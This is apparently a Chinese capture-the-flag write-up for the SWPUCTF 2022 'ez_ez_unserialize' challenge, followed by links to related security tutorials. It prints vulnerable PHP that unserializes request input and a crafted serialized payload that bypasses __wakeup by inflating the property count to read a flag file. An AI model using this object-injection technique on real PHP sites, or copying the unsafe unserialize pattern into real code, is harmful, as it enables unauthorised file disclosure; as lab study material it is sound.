复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
文件夹__iOS5 小时前
iOS 网络安全认证:Token / MD5 / RSA 简明指南
安全·web安全·ios
文刀竹肃5 小时前
SQLi-Labs Less-3 通关教程(单引号+括号字符型GET注入)
安全·web安全·网络安全
admin and root6 小时前
记一次攻防演练redis未授权访问案例
网络·数据库·redis·安全·web安全·渗透测试·src漏洞挖掘
介一安全6 小时前
【Web安全】URL跳转漏洞:XSS与未授权访问延伸危害
web安全·xss·安全性测试·url跳转·越权
zhouping@6 小时前
[羊城杯2020]easyphp
web安全·php
观书喜夜长6 小时前
XSS 入门实战:反射型、存储型、DOM 型原理与防御(DVWA 靶场)
学习·web安全
文刀竹肃7 小时前
SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)
安全·web安全·网络安全
Wcbddd7 小时前
OpenClaw自动化渗透测试初试牛刀
运维·web安全·自动化·好靶场·好靶场wp
文刀竹肃7 小时前
Upload-Labs 第1至第10关通关教程(更新中。。。)
网络·安全·web安全·网络安全
观书喜夜长7 小时前
web网络安全-每日一练-Training-WWW-Robots
学习·web安全